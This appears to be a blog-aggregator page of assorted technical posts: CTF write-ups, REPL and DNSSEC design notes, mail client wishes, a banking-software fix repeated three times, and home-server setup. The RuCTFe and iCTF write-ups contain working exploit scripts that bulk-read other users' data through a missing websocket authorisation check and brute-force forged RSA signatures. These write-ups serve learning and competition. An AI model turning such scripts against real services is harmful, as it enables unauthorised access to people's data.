    $.ajax('https://mastodon.social/api/v1/accounts/267185/statuses?only_media=true&limit=40', {
        dataType:"json",
        success:function(data) {
        $(data).each(function () {
            var toot = this;
            $(this.media_attachments).each(function() {
                var url = this.preview_url;
                $('#enclosures').append(
                    $('<a>', {href: toot.uri})
                        .css('height', '260px')
                        .css('width', '260px')
                        .css('display', 'inline-block')
                        .css('background-image', 'url(' + url + ')')
                        .css('background-size', 'cover')
                        .css('background-repeat', 'no')
                        .css('background-position', '50% 50%')
                        .css('padding', '0')
                );
            });
        });
    }});
});

Somewhere on that page, you have to have an <div id='encolsures'></div> tag and your user must allow cross-site access to your Mastodon instance. If you want to use this snippet, you also have to replace my Mastodon user id (267185) with your id on your server. One kind of simple variant to find your id, is to grab the JSON from the public timeline (e.g. /api/v1/timelines/public) directly after you have posted some public test toot.

November 11, 2018

Christoph EggerRuCTFe 2018 laberator

Team: FAUST
Crew: izibi, siccegge
CTF: RuCTFe 2018

The service

Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in main.go, some stuff in the templates and the websockets endpoint in command_executor.go. Obviously you have to extract the strings ("labels") from the gameserver. Also the phrase stored when creating the account was used to store some more flags.

Client side authentication for labels

Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.


            let label = JSON.parse(e.data);
            if (label.Owner !== getLoginFromCookies()) {
                return;
            }

And indeed, the websocket view method checks for some valid session but doesn't concern itself with any further validation of access priviledges. As long as you have any valid session and can figure out websockets you can get about any label you like.


        "view": func(ex *CommandExecutor, data []byte) ([]byte, error) {
                var viewData ViewData
                err := json.Unmarshal(data, &viewData)
                if err != nil {
                        return nil, createUnmarshallingError(err, data)
                }
                cookies := parseCookies(viewData.RawCookies)
                ok, _ := ex.sm.ValidateSession(cookies)
                if !ok {
                        return nil, errors.New("invalid session")
                }
                label, err := ex.dbApi.ViewLabel(viewData.LabelId)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("db request error: %v, labelId=(%v)", err.Error(), viewData.LabelId))
                }
                rawLabel, err := json.Marshal(*label)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, label=(%v)", err.Error(), *label))
                }
                return rawLabel, nil
        },

Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels

#!/usr/bin/env python3

import requests
import websocket
import json
import sys
import string
import random
import base64


def main():
    host = sys.argv[1]
    session = requests.session()

    password = [i for i in string.ascii_letters]
    random.shuffle(password)

    username = ''.join(password[:10])
    phrase = base64.b64encode((''.join(password[10:20])).encode()).decode()
    password = base64.b64encode((''.join(password[20:36])).encode()).decode()


    x = session.get('http://%s:8888/register?login=%s&phrase=%s&password=%s' %   
                    (host,username,phrase,password))
    x = session.get('http://%s:8888/login?login=%s&password=%s' % 
                    (host,username, password))
    raw_cookie = 'login=%s;sid=%s' % (x.cookies['login'], x.cookies['sid'])

    ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))

    data = {'Text': 'test', 'Font': 'Arial', 'Size': 20, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "create", "Data": json.dumps(data)}))
    # make sure create is already commited before continuing
    ws.recv()

    data = {'Offset': 0, 'RawCookies': raw_cookie}
    ws.send(json.dumps({"Command": "list", "Data": json.dumps(data)}))
    stuff = json.loads(ws.recv())
    lastid = stuff[0]['ID']

    for i in range(0 if lastid-100 < 0 else lastid-100, lastid):
        ws = websocket.create_connection('ws://%s:8888/cmdexec' % (host,))
        try:
            data = {'LabelId': i, 'RawCookies': raw_cookie}
            ws.send(json.dumps({"Command": "view", "Data": json.dumps(data)}))
            print(json.loads(ws.recv())["Text"])
        except Exception:
            pass


if __name__ == '__main__':
    main()

Password Hash

The hash module used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, test) you end up with an hash that contains the password in plain (say, testTi\x02mH\x91\x96U\\I\x8a\xdd). Looking closer, if you register with a password that is exactly 16 characters (aaaaaaaaaaaaaaaa) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.

Listening to tcpdump for a while you'll notice interesting entries:

[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]

See the password hash there? Turns out this comes from the regularly scheduled last_users websocket call.


        "last_users":  func(ex *CommandExecutor, _ []byte) ([]byte, error) {
                users := ex.dbApi.GetLastUsers()
                rawUsers, err := json.Marshal(*users)
                if err != nil {
                        return nil, errors.New(fmt.Sprintf("marshalling error: %v, users=(%v)", err.Error(), *users))
                }
                return rawUsers, nil
        },

So call last_users (doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.

Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.

March 22, 2018

Christoph EggeriCTF 2018 Spiderman writeup

This is FAUST playing CTF again, this time iCTF. We somehow managed to score an amazing 5th place.

Team: FAUST
Crew: izibi, siccegge
Files: spiderman

spider is a patched python interpreter. man is a pyc but with different magic values (explaining the patched python interpreter for now). Plain decompiling failes due to some (dead) cruft code at the beginning of all methods. can be patched away or you do more manual disassembling.

Observations:

  • does something with RSA
  • public exponent is slightly uncommon (\(2^{16}+3\) instead of \(2^{16}+1\)) but that should be fine.
  • uses openssl prime -generate to generate the RSA key. Doesn't use -safe but should also be fine for RSA purposes
  • You need to do a textbook RSA signature on a challenge to get the flag

Fine so far nothing obvious to break. When interacting with the service, you will likely notice the Almost Equal function in the Fun menu. According to the bytecode, it takes two integers \(a\) and \(b\) and outputs if \(a = b \pm 1\), but looking at the gameserver traffic, these two numbers are also considered to be almost equal:

$$ a = 33086666666199589932529891 \\ b = 35657862677651939357901381 $$

So something's strange here. Starting the spider binary gives a python shell where you can play around with these numbers and you will find that a == b - 1 will actually result in True. So there is something wrong with the == operator in the shipped python interpreter, however it doesn't seem to be any sort of overflow. Bit representation also doesn't give anything obvious. Luky guess: why the strange public exponent? let's try the usual here. and indeed \(a = b - 1 \pmod{2^{16}+1}\). Given this is also used to compare the signature on the challenge this becomes easily bruteforceable.

#!/usr/bin/env python3

import nclib, sys
from random import getrandbits

e = 2**16+3 # exponent
w = 2**16+1 # wtf

nc = nclib.Netcat((sys.argv[1], 20005), udp=False, verbose=True)
nc.recv_until(b'4) Exit\n')
nc.send(b'3\n') # Read

nc.recv_until(b'What do you want to read?\n')
nc.send(sys.argv[2].encode() + b'\n')

nc.recv_until(b'solve this:\n')
modulus, challenge = map(int, nc.recv_until(b'\n').decode().split()[:2])
challenge %= w

# Starting at 0 would also work, but using large random numbers makes
# it less obvious that we only bruteforce a small set of numbers
answer = getrandbits(2000)
while (pow(answer, e, modulus)) % w != challenge:
    answer += 1

nc.send(str(answer).encode() + b'\n')
flag = nc.recv_until(b'\n')

nc.recv_until(b'4) Exit\n')
nc.send(b'4\n')

October 13, 2017

Andreas RuprechtSchweden 2017

Wieder Urlaub, wieder Schweden! Ein paar Eindrücke aus zwei Wochen Småland.

October 03, 2017

Christoph EggerObservations on Catalunya

Some things I don't really understand reading in German media

  • Suddenly the electoral system becomes a legitimacy problem. While it has never been a problem for any of the previous decisions of the Catalunyan regional government suddenly a "only 48% of people voted for the government" results in the decisions being illegitimate? This is also a property of many governments (Greece and the US president being obvious examples but also the German Bundestag can have a majority government without the majority of votes). Is this just the media trying to find something they can blame on "the other side"?

  • How can you ever possibly excuse violence against people peacefully and non-violently doing whatever they're doing. Sure this referendum was considered illegal (and it may be legitimate to ignore the result, or legal prosecution of the initiators) but how can that ever possibly be an excuse for half a population peacefully doing whatever they are about to do? How can you possibly claim that "both sides are to blame" for the violence? "Die Zeit" seems to be the only one with an somewhat convincing argument ("Deciding to press on despite the obviously happening violence") while "Welt", "Spiegel" and "Süddeutsche" all trying to blame the regional government for the violence with as much of an argument as asking people to do something illegal in a totally peaceful way. Possibly an argument for legal consequences, sure -- but for violence?

Too bad I didn't keep the links / articles from Sunday night.

Christoph EggerAnother Xor (CSAW 2017)

A short while ago, FAUST participated in this year's CSAW qualification and -- as usual -- I was working on the Crypto challenges again. The first puzzle I worked on was called "Another Xor" -- and, while there are quite some write ups already our solution was somewhat different (maybe even the intended solution given how nice things worked out) and certainly interesting.

The challenge provides a cipher-text. It's essentially a stream cipher with key repeated to generate the key stream. The plain-text was plain + key + checksum.

p = this is a plaintextThis is the keyfa5d46a2a2dcdeb83e0241ee2c0437f7
k = This is the keyThis is the keyThis is the keyThis is the keyThis i

Key length

Our first step was figuring out the key length. Let's assume for now the key was This is the key. Notice that the key is also part of the plain-text and we know something about its location -- it ends at 32 characters from the back. If we only take a look at the encrypted key it should have the following structure:

p' = This is the key
k' = he keyThis is t

The thing to notice here is that every character in the Key appears both in the plain-text and key stream sequence. And the cipher-text is the XOR (⊕) of both. Therefore XOR over the cipher-text sequence encrypting the key should equal 0 (⊕(p') ⊕ ⊕(k') = 0). So remove the last 32 characters and find all suffixes that result in a XOR of 0. Fortunately there is exactly one such suffix (there could be multiple) and therefore we know the key size: 67.

To put it in code, this basically is the function we implemented for this:

def calculate(ciphertextcandidate):
    accumulator = 0
    for char in ciphertextcandidate:
        accumulator = accumulator ^ char

Which, for the matching plain-text and key-stream fragments is equal (due to the XOR encryption) to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^ keyfragment[i])

Now XOR lets us nicely reorder this to

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ (plainfragment[i] ^
                                     keyfragment[(i + 6) % len(plainfragment)])

And, as plainfragment[i] and keyfragment[(i + 6) % len(plainfragment)] are equal for the plain-text range encoding the key this becomes

def calculate(plainfragment, keyfragment):
    accumulator = 0
    for i in range(len(plainfragment):
        accumulator = accumulator ^ 0

Or simply 0 if the guess of the cipher-text range is correct.

Key recovery

Now the nice thing to notice is that the length of the key (67) is a prime (and 38, the plain-text length, is a generator). As a result, we only need to guess one byte of the key:

Assume you know one byte of the key (and the position). Now you can use that one byte of the key to decrypt the next byte of the key (using the area where the key is part of the plain-text). Due to the primeness of the key length this allows recovery of the full key.

Finally you can either print all 256 options and look for the one that looks reasonable or you can verify the md5sum which will give you the one valid solution, flag{sti11_us3_da_x0r_for_my_s3cratz}.

Code


cipher = b"'L\x10\x12\x1a\x01\x00I[P-U\x1cU\x7f\x0b\x083X]\x1b'\x03\x0bR(\x04\r7SI\n\x1c\x02T\x15\x05\x15%EQ\x18\x00\x19\x11SJ\x00RV\n\x14YO\x0b\x1eI\n\x01\x0cE\x14A\x1e\x07\x00\x14aZ\x18\x1b\x02R\x1bX\x03\x05\x17\x00\x02\x07K\n\x1aLAM\x1f\x1d\x17\x1d\x00\x15\x1b\x1d\x0fH\x0eI\x1e\x02I\x01\x0c\x15\x00P\x11\\PXPCB\x03B\x13TBL\x11PC\x0b^\tM\x14IW\x08\rDD%FC"

def keycover(guess):
    key = dict()
    pos = 38
    key[38] = guess

    for i in range(67):
        newpos = (pos % 67) + 38
        key[newpos] = xor(cipher[pos:], key[pos])
        pos = newpos

    try:
        return b''.join([ key[i] for i in range(38, 105, 1) ])
    except:
        return b'test'

for guess in range(256):
    keycand = keycover(bytes([guess]))

    plaincand = xor(cipher, repeat(keycand, len(cipher)))

    if md5(plaincand[:-32]).hexdigest().encode() == plaincand[-32:]:
        print(keycand, plaincand)

Christoph EggerLooking for a mail program + desktop environment

Seems it is now almost a decade since I migrated from Thunderbird to GNUS. And GNUS is an awesome mail program that I still rather like. However GNUS is also heavily quirky. It's essentially single-threaded and synchronous which means you either have to wait for the "IMAP check for new mails" to finish or you have to C-g abort it if you want the user interface to work; You have to wait for the "Move mail" to complete (which can take a while -- especially with dovecot-antispam training the filter) before you can continue working. It has it's funny way around TLS and certificate validation. And it seems to hang from time to time until it is C-g interrupted.

So when I set up my new desktop machine I decided to try something else. My first try was claws-mail which seems OK but totally fails in the asynchronous area. While the GUI stays reactive, all actions that require IMAP interactions become incredibly slow when a background IMAP refresh is running. I do have quite some mailboxes and waiting the 5+ minutes after opening claws or whenever it decides to do a refresh is just to much.

Now my last try has been Kmail -- also driven by the idea of having a more integrated setup with CalDAV and CardDAV around and similar goodies. And Kmail really compares nicely to claws in many ways. After all, I can use it while it's doing its things in the background. However the KDE folks seem to have dropped all support for the \recent IMAP flag which I heavily rely on. I do -- after all -- keep a GNUS like workflow where all unread mail (ref \seen) needs to still be acted upon which means there can easily be quite a few unread messages when I'm busy at the moment and just having a quick look at the new (ref \recent) mail to see if there's something super-urgent is essential.

So I'm now looking for useful suggestions for a mail program (ideally with desktop integration) with the following essential features:

  • It stays usable at all times -- which means smarter queuing than claws -- so foreground actions are not delayed by any background task the mail program might be up to and tasks like moving mail are handled in the background.
  • Decent support for filtering. Apart from some basic stuff I need shortcut filtering for \recent mail.
  • Option to hide \seen mail (and ideally hide all folders that only contain \seen mail). Hopefully toggle-able by some hotkey. "Age in days" would be an acceptable approximation, but Kmail doesn't seem to allow that in search (it's available as a filter though).

September 28, 2017

Florian SchmausHow to add a REPL to your Project, using Ammonite and Gradle

Posted on September 28, 2017
Tags: gradle

Introduction

A REPL (Read-Eval-Print Loop) is a great way to use, explore and test your software. Imagine “browsing” the API of the code you have just written with tab completion.

After researching the existing REPL implementations, I decided for the Ammonite REPL. It’s an active project with an responsive maintainer, very feature rich and yet easy to use. I can only recommend looking into the other Ammonite projects.

The Ammonite REPL features tab completion, syntax highlighting and more. It can also be used for scripting purposes or as a system shell. Even though I will use it here as REPL, I can only recommend looking at its other features too.

How to add the REPL

The following will show you how to add a REPL to your project by the example of MiniDNS. The approach consists of a new Gradle subproject, whose name is post-fixed with -repl, and a two scripts: One written in Bash the other in Scala.

Creating the ‘-repl’ Gradle subproject

The -repl subproject is used to collect the classpath and thus, should declare dependencies on all other subprojects. It also comes with a custom task called printClasspath which prints the classpath to stdout for later use in the Bash script.

The build.gradle of MiniDNS looks as follows:

ext {
  scalaVersion = '2.11.7'
}

dependencies {
  // Delcare all dependencies that should be available in the REPL.
  compile project(':minidns-core')
  compile project(':minidns-iterative-resolver')
  compile project(':minidns-dnssec')
  compile project(':minidns-integration-test')
  compile project(':minidns-hla')

  // Also pull in Ammonite.
  compile "com.lihaoyi:ammonite_$scalaVersion:0.8.0"

  // The dependencies for the -repl tests.
  testCompile project(path: ":minidns-core", configuration: "testRuntime")
  testCompile project(path: ":minidns-core", configuration: "archives")
}

// The printClasspath task is used by the Bash script to kickoff the
// repl with a properly configured classhpath.
task printClasspath(dependsOn: assemble) << {
  println sourceSets.main.runtimeClasspath.asPath
}

The Bash script to kickoff the REPL

The repl Bash script will kickoff the REPL by using gradle to collect the Maven artifacts of the required dependencies and to prepare the classpath. After that is done, the java binary is used to start the REPL.

#!/usr/bin/env bash
set -e
set -u
set -o pipefail

while getopts d OPTION "$@"; do
case $OPTION in
d)
set -x
;;
esac
done

PROJECT_ROOT=$(dirname "${BASH_SOURCE[0]}")
cd "${PROJECT_ROOT}"

echo "Compiling and computing classpath (May take a while)"
# Sadly even with the --quiet option Gradle (or some component of)
# will print the number of warnings/errors to stdout if there are
# any.
GRADLE_CLASSPATH="$(gradle :minidns-repl:printClasspath --quiet |\
  tail -n1)"

echo "Classpath computed, starting REPL"

java \
  -ea \
  -Dscala.usejavacp=true \
  -classpath "${GRADLE_CLASSPATH}" \
  ammonite.Main \
  -f minidns-repl/scala.repl

You may have noticed the -f minidns-repl/scala.repl argument given to Ammonite. The scala.repl is basically file containing Scala code which is used to setup the environment of the REPL. It is where you want to declare often used and important parts of the API, that you want to make easily accessible in the REPL.

For MiniDNS, the scala.repl file looks like this:

de.measite.minidns.minidnsrepl.MiniDnsRepl.init()

import de.measite.minidns._
import de.measite.minidns.record._
import de.measite.minidns.Record.TYPE

import de.measite.minidns.dnssec.DNSSECClient

import de.measite.minidns.minidnsrepl.MiniDnsRepl.clearCache

import de.measite.minidns.minidnsrepl.MiniDNSStats._

import de.measite.minidns.jul.MiniDnsJul._

// Some standard values
Predef.println("Set value 'c' to DNSClient")
val c = de.measite.minidns.minidnsrepl.MiniDnsRepl.DNSCLIENT
Predef.println("Set value 'ic' to IterativeDNSClient")
val ic = de.measite.minidns.minidnsrepl.MiniDnsRepl.ITERATIVEDNSCLIENT
Predef.println("Set value 'dc' to DNSSECClient")
val dc = de.measite.minidns.minidnsrepl.MiniDnsRepl.DNSSECCLIENT
// A normal resolver
Predef.println("Set value 'r' to ResolverApi")
val r = de.measite.minidns.hla.ResolverApi.INSTANCE
// A DNSSEC resolver
Predef.println("Set value 'dr' to DnssecResolverApi")
val dr = de.measite.minidns.hla.DnssecResolverApi.INSTANCE

Predef.println("Enjoy MiniDNS. Go ahead and try a query. For example:")
Predef.println("c query (\"geekplace.eu\", TYPE.A)")
Predef.println("dr resolveDnssecReliable (\"verteiltesysteme.net\", classOf[A])")

Conclusion

I use this technique in multiple FOSS projects I’m involved. Most notably:

Having a such a powerful and nice REPL as provided by Ammonite at hand when developing makes it easy to test and evaluate new features. While using the API via the REPL I often discovered rough edges that made the API unnecessarily hard to use, which I’ve fixed afterwards.

Furthermore the REPL allows new user to explore the API. Feel free to try for yourself. Always wondered what is happening when MiniDNS performs a DNSSEC-enabled lookup? Lets try it out:

$ git clone https://github.com/rtreffer/minidns
$ cd minidns
$ ./repl
Compiling and computing classpath (May take a while)
Classpath computed, starting REPL
Loading...
MiniDNS REPL
Set value 'c' to DNSClient
Set value 'ic' to IterativeDNSClient
Set value 'dc' to DNSSECClient
Set value 'r' to ResolverApi
Set value 'dr' to DnssecResolverApi
Enjoy MiniDNS. Go ahead and try a query. For example:
c query ("geekplace.eu", TYPE.A)
dr resolveDnssecReliable ("verteiltesysteme.net", classOf[A])
Welcome to the Ammonite Repl 0.8.0
(Scala 2.11.8 Java 1.8.0_144)
@ enableMiniDnsTrace
@ dc queryDnssec ("uni-erlangen.de", TYPE.A)

April 09, 2017

Christoph EggerSecured OTP Server (ASIS CTF 2017)

This weekend was ASIS Quals weekend again. And just like last year they have quite a lot of nice crypto-related puzzles which are fun to solve (and not "the same as every ctf").

Actually Secured OTP Server is pretty much the same as the First OTP Server (actually it's a "fixed" version to enforce the intended attack). However the template phrase now starts with enough stars to prevent simple root.:

def gen_otps():
    template_phrase = '*************** Welcome, dear customer, the secret passphrase for today is: '

    OTP_1 = template_phrase + gen_passphrase(18)
    OTP_2 = template_phrase + gen_passphrase(18)

    otp_1 = bytes_to_long(OTP_1)
    otp_2 = bytes_to_long(OTP_2)

    nbit, e = 2048, 3
    privkey = RSA.generate(nbit, e = e)
    pubkey  = privkey.publickey().exportKey()
    n = getattr(privkey.key, 'n')

    r = otp_2 - otp_1
    if r < 0:
        r = -r
    IMP = n - r**(e**2)
    if IMP > 0:
        c_1 = pow(otp_1, e, n)
        c_2 = pow(otp_2, e, n)
    return pubkey, OTP_1[-18:], OTP_2[-18:], c_1, c_2

Now let A = template * 2^(18*8), B = passphrase. This results in OTP = A + B. c therefore is (A+B)^3 mod n == A^3 + 3A^2b + 3AB^2 + B^3. Notice that only B^3 is larger than N and is statically known. Therefore we can calculate A^3 // N and add that to c to "undo" the modulo operation. With that it's only iroot and long_to_bytes to the solution. Note that we're talking about OTP and C here. The code actually produced two OTP and C values but you can use either one just fine.

#!/usr/bin/python3

import sys
from util import bytes_to_long
from gmpy2 import iroot

PREFIX = b'*************** Welcome, dear customer, the secret passphrase for today is: '
OTPbase = bytes_to_long(PREFIX + b'\x00' * 18)

N = 27990886688403106156886965929373472780889297823794580465068327683395428917362065615739951108259750066435069668684573174325731274170995250924795407965212988361462373732974161447634230854196410219114860784487233470335168426228481911440564783725621653286383831270780196463991259147093068328414348781344702123357674899863389442417020336086993549312395661361400479571900883022046732515264355119081391467082453786314312161949246102368333523674765325492285740191982756488086280405915565444751334123879989607088707099191056578977164106743480580290273650405587226976754077483115441525080890390557890622557458363028198676980513

WRAPPINGS = (OTPbase ** 3) // N

C = 13094996712007124344470117620331768168185106904388859938604066108465461324834973803666594501350900379061600358157727804618756203188081640756273094533547432660678049428176040512041763322083599542634138737945137753879630587019478835634179440093707008313841275705670232461560481682247853853414820158909864021171009368832781090330881410994954019971742796971725232022238997115648269445491368963695366241477101714073751712571563044945769609486276590337268791325927670563621008906770405196742606813034486998852494456372962791608053890663313231907163444106882221102735242733933067370757085585830451536661157788688695854436646

x = N * WRAPPINGS + C

val, _ = iroot(x, 3)
bstr = "%x" % int(val)

for i in range(0, len(bstr) // 2):
    sys.stdout.write(chr(int(bstr[2*i:2*i+2], 16)))

print()

November 03, 2016

Maximilian HenryAqbanking Error -57

Wer schon länger Gnucash oder andere auf Aqbanking setzende Lösungen für sein Onlinebanking bei der Sparkasse verwendet, wird feststellen, dass dies nicht mehr funktioniert und die einzige Meldung im Log sagt wenig hilfreich error -57.
Nachdem die Antwort auf dieses Problem nirgends ordentlich beschrieben ist, will ich dieses Lücke hier füllen.

Lösung:
Die Sparkasse versucht euch seit geraumer zeit mitzuteilen, dass ihr von HBCI 2.2 auf HBCI 3.0 umstellen müsst, leider habt ihr die Nachricht nie gesehen.
unter ~/.aqbanking/backends/aqhbci/data/banks/de/[BLZ]/users/[UID]/[KN]/messages/in findet ihr Nachrichten von eurer Bank, die euch sagen, dass ihr auf HBCI 3.0
umstellen sollt, inklusive des neuen Servers.
Also öffnen wir ~/.aqbanking/settings/*.conf und setzen das Feld
int hbciVersion ="300" und passen noch char server=banking-by1.s-fints-pt-by.de%3A3000%2F entsprechend an. Nicht wundern, dass die Kodierung etwas seltsam ist, das ist bestimmt der beste weg den Port 3000 zu speichern. Nach diesen beiden Änderungen sollte wieder alles wie gewohnt funktionieren.

Maximilian HenryAqbanking Error -57

Wer schon länger Gnucash oder andere auf Aqbanking setzende Lösungen für sein Onlinebanking bei der Sparkasse verwendet, wird feststellen, dass dies nicht mehr funktioniert und die einzige Meldung im Log sagt wenig hilfreich error -57.
Nachdem die Antwort auf dieses Problem nirgends ordentlich beschrieben ist, will ich dieses Lücke hier füllen.

Lösung:
Die Sparkasse versucht euch seit geraumer zeit mitzuteilen, dass ihr von HBCI 2.2 auf HBCI 3.0 umstellen müsst, leider habt ihr die Nachricht nie gesehen.
unter ~/.aqbanking/backends/aqhbci/data/banks/de/[BLZ]/users/[UID]/[KN]/messages/in findet ihr Nachrichten von eurer Bank, die euch sagen, dass ihr auf HBCI 3.0
umstellen sollt, inklusive des neuen Servers.
Also öffnen wir ~/.aqbanking/settings/*.conf und setzen das Feld
int hbciVersion ="300" und passen noch char server=banking-by1.s-fints-pt-by.de%3A3000%2F entsprechend an. Nicht wundern, dass die Kodierung etwas seltsam ist, das ist bestimmt der beste weg den Port 3000 zu speichern.
Nach diesen beiden Änderungen sollte wieder alles wie gewohnt funktionieren.

Maximilian HenryAqbanking Error -57

Wer schon länger Gnucash oder andere auf Aqbanking setzende Lösungen für sein Onlinebanking bei der Sparkasse verwendet, wird feststellen, dass dies nicht mehr funktioniert und die einzige Meldung im Log sagt wenig hilfreich error -57.
Nachdem die Antwort auf dieses Problem nirgends ordentlich beschrieben ist, will ich dieses Lücke hier füllen.

Lösung:
Die Sparkasse versucht euch seit geraumer zeit mitzuteilen, dass ihr von HBCI 2.2 auf HBCI 3.0 umstellen müsst, leider habt ihr die Nachricht nie gesehen.
unter ~/.aqbanking/backends/aqhbci/data/banks/de/[BLZ]/users/[UID]/[KN]/messages/in findet ihr Nachrichten von eurer Bank, die euch sagen, dass ihr auf HBCI 3.0
umstellen sollt, inklusive des neuen Servers.
Also öffnen wir ~/.aqbanking/settings/*.conf und setzen das Feld
int hbciVersion ="300" und passen noch char server=banking-by1.s-fints-pt-by.de%3A3000%2F entsprechend an. Nicht wundern, dass die Kodierung etwas seltsam ist, das ist bestimmt der beste weg den Port 3000 zu speichern. Nach diesen beiden Änderungen sollte wieder alles wie gewohnt funktionieren.

October 26, 2016

Christoph EggerInstalling a python systemd service?

As web search engines and IRC seems to be of no help, maybe someone here has a helpful idea. I have some service written in python that comes with a .service file for systemd. I now want to build&install a working service file from the software's setup.py. I can override the build/build_py commands of setuptools, however that way I still lack knowledge wrt. the bindir/prefix where my service script will be installed.

Solution

Turns out, if you override the install command (not the install_data!), you will have self.root and self.install_scripts (and lots of other self.install_*). As a result, you can read the template and write the desired output file after calling super's run method. The fix was inspired by GateOne (which, however doesn't get the --root parameter right, you need to strip self.root from the beginning of the path to actually make that work as intended).

As suggested on IRC, the snippet (and my software) no use pkg-config to get at the systemd path as well. This is a nice improvement orthogonal to the original problem. The implementation here follows bley.


def systemd_unit_path():
    try:
        command = ["pkg-config", "--variable=systemdsystemunitdir", "systemd"]
        path = subprocess.check_output(command, stderr=subprocess.STDOUT)
        return path.decode().replace('\n', '')
    except (subprocess.CalledProcessError, OSError):
        return "/lib/systemd/system"


class my_install(install):
    _servicefiles = [
        'foo/bar.service',
        ]

    def run(self):
        install.run(self)

        if not self.dry_run:
            bindir = self.install_scripts
            if bindir.startswith(self.root):
                bindir = bindir[len(self.root):]

            systemddir = "%s%s" % (self.root, systemd_unit_path())

            for servicefile in self._servicefiles:
                service = os.path.split(servicefile)[1]
                self.announce("Creating %s" % os.path.join(systemddir, service),
                              level=2)
                with open(servicefile) as servicefd:
                    servicedata = servicefd.read()

                with open(os.path.join(systemddir, service), "w") as servicefd:
                    servicefd.write(servicedata.replace("%BINDIR%", bindir))

Comments, suggestions and improvements, of course, welcome!

Florian SchmausDesigning a DNSSEC application API

Posted on October 26, 2016
Tags: dnssec, xmpp

I’m intending to apply a patch adding DNSSEC support to Smack, a XMPP client library, in the near feature. And since DNSSEC support in application protocol libraries is still uncommon, I thought it might be a good idea to share the principles how the API was designed.

DNSSEC

DNSSEC authenticates DNS answers, positive and negative ones. This means that if a DNS response secured by DNSSEC turns out to be authentic, then you can be sure that the domain either exists, and that the returned resource records (RRs) are the ones the domain owner authorized, or that the domain does not exists and that nobody tried to fake its non existence.

The tricky part is that an application using DNSSEC can not determine whether a domain uses DNSSEC, does not use DNSSEC or if someone downgraded your DNS query using DNSSEC to a response without DNSSEC.

Smack’s DNSSEC API

I like to keep APIs I design as simple as possible to use for the user. Thus Smack’s DNSSEC API simply extends the already existing ConnectionConfiguration used to – you guessed it – configure XMPP connections by a single method:

ConnectionConfiguration.setDnssecMode(DnssecMode dnssecMode);

where DnssecMode is an enum defined as follows:

enum DnssecMode {
  disabled,
  needsDnssec,
  needsDnssecAndDane,
}

The user simply calls config.setDnssecMode(DnssecMode.needsDnssec) and Smack will only connect to an XMPP service if all involved DNS resource recordes could be verified using DNSSEC.

You may noticed the ...AndDane variant of the enum. If this mode is used, then Smack will not only require DNSSEC, but also require DANE (RFC 6598) in order to verify the service’s TLS certificate.

Desiging for a good UI and UX

The Issue

The issue with the DnssecMode API exposed by Smack is that an application should never have to ask the end-user if it’s XMPP account is secured by DNSSEC. There should be no questionare, checkbox or whatever about this feature. The best UI regarding a option is if there is none, i.e., if it just works out of the box.

A possible solution

So what should applications do? The answer is simple and similar to “HTTP Strict Transport Security” (HSTS, RFC 6797) used for HTTP(S) connections. Instead of asking the user if DNSSEC is available, they should check for DNSSEC support on every connection attempt. Once DNSSEC support has been discovered, the application uses the needsDnssec mode for all future connection attempts.

An analysis

Of course this scheme is not without drawbacks. First, it is possible that an attacker downgrades the DNS responses to non-DNSSEC. Depending on where the attacker sits in the path between the user and its service, this may always be possible for the attacker or only if the user’s device uses a certain network. The downgrade attack also becomes impossible with this scheme after the application was at least once able to connect to the service using DNSSEC.

Furthermore, if the user’s service needs to drop DNSSEC support for whatever reason (technical, political, …), then the user possible gets a message that the connection failed because something named “DNSSEC” was not avaialble. As with most security concepts, it is hard for the average user to asses situation and take the approbiate action. Of course, the application could ask the user to contact the service provider and ask if DNSSEC was indeed disabled before continuing the connection attempt.

But ideally, service providers would never drop DNSSEC support and the application would simply start a new connection attempt after a failed one caused by the lack of DNSSEC. This is similar to how most applications would (or should) treat a STARTTLS downgrade attack: Simply retry until the demanded security gurantees are fullfiled. Then the user doesn’t have to deal with technical error messages.

Note that the exact same scheme can be used with the needsDnssecAndDane mode. Once DNSSEC and a TLSA RR has been discovered for the service and was successfully used to verify the TLS connection, the application should always use the needsDnssecAndDane mode.

Why not in Smack?

The attentive reader may wonder why I did not implement the described mechanism in Smack, instead of having the application deal with it. I’d really love to do so, but Smack has no API and mechanism for saving a connection state to persistent storage. This would be required for the described scheme. Such a mechanism planned to come with Smack 4.3 though.

October 22, 2016

Christoph EggerRunning Debian on the ClearFog

Back in August, I was looking for a Homeserver replacement. During FrOSCon I was then reminded of the Turris Omnia project by NIC.cz. The basic SoC (Marvel Armada 38x) seemed to be nice hand have decent mainline support (and, with the turris, users interested in keeping it working). Only I don't want any WIFI and I wasn't sure the standard case would be all that usefully. Fortunately, there's also a simple board available with the same SoC called ClearFog and so I got one of these (the Base version). With shipping and the SSD (the only 2242 M.2 SSD with 250 GiB I could find, a ADATA SP600) it slightly exceeds the budget but well.

ClearFog with SSD

When installing the machine, the obvious goal was to use mainline FOSS components only if possible. Fortunately there's mainline kernel support for the device as well as mainline U-Boot. First attempts to boot from a micro SD card did not work out at all, both with mainline U-Boot and the vendor version though. Turns out the eMMC version of the board does not support any micro SD cards at all, a fact that is documented but others failed to notice as well.

U-Boot

